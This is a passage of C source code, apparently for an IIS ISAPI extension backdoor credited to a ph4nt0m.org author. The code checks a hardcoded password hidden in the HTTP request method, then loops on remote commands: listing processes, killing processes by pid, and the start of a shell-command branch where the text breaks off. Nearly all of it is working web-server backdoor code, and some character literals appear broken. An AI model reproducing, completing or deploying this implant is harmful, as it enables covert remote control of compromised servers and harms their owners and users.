DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );
return TRUE;
}
BOOL WINAPI TerminateExtension( DWORD dwFlags )
{
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = { 0 };
char *err = "Error...\n";
char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";
DWORD dwBytes = 64;
//获取客户端密码,连接到web服务器,发送请求,请求方式为密码
pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );
if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
{
SendToClient( pECB , err );
return HSE_STATUS_SUCCESS;
}
#ifdef DEBUG
LogStrToFile( "-------------------------------\n" );
LogStrToFile( "客户端成功登陆\n" );
#endif
SendToClient( pECB , helo );
SendToClient( pECB , FLAG );
while(TRUE)
{
ZeroMemory( buff , BUFFSIZE );
dwBytes = BUFFSIZE;
while( buff[0] == '' )//判断是否是空串
{
Sleep(1000);
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye...\n" );
break;
}
SwitchCmd( pECB , buff );
}
return HSE_STATUS_SUCCESS;
}
void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
WORKARG workArg;
HANDLE hThread = NULL;
DWORD threadID = 0;
//SendToClient( pECB , "客户端命令: " );
//SendToClient( pECB , buff );
#ifdef DEBUG
LogStrToFile( "客户端命令: " );
LogStrToFile( buff );
#endif
//去掉命令里面的回车符
*(strchr( buff , '\n' )) = '';
//参数不能超过ARGSIZE
if( strlen( buff+5 ) >= ARGSIZE )
{
SendToClient( pECB , "Arguments is too long...\n" );
SendToClient( pECB , FLAG );
return;
}
//将要传递给新线程的参数清空
ZeroMemory( workArg.arg , sizeof(workArg.arg) );
//如果是pslist命令,列举进程
if( StartWith(buff , "pslist") )
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)PsList ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程列举进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "List process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 6000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//kill命令,杀进程
else if( StartWith(buff , "kill") )
{
//如果没有参数
if( *( buff+5 ) == '' )
{
SendToClient( pECB , "Usage:kill pid\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Kill ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程杀进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Kill process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//shell命令,






